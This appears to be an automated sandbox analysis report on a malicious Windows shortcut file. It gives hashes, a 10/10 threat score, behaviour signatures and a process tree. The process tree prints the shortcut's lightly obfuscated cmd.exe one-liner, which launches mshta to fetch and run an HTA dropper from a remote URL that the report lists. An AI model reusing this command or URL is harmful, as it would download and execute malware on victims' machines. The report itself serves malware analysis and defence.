Analysis
- max time kernel
148s - max time network
129s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:35
Static task
static1
Behavioral task
behavioral1
Sample
DOC-8ZKBWU.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-8ZKBWU.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-8ZKBWU.lnk
- Size 1KB
- Sample260804-kg6bea1vav
- SHA256 1716de0247c8a0bd1911f3437c0dec1700f1306a5661782dd3d4b43cfcfb8b94
- MD5 30fb94cc90d95f504f7b38a3cab9a5de
- SHA1 f3bce2a9bee588144cd4c9efa4abce3491a90ce0
- SHA512 66383aa7991e031dcc2c568177d9daee0070dcc32af94f83108c02223352fef03de3602de799c3f08d0addb0c15612df16176741f1d07647e9b947f353cfaebe
- TLSH T16431C0003FEC0524F3F3DF7384BB671485BBB9658D20CA1D0041450C1432A19E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5732 cmd.exe 4772 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5732 wrote to memory of 4772 5732 cmd.exe 90 PID 4772 wrote to memory of 5884 4772 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-8ZKBWU.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5732 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set fOj=msh&&set qN=ta&&start "" !fOj!!qN! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5884
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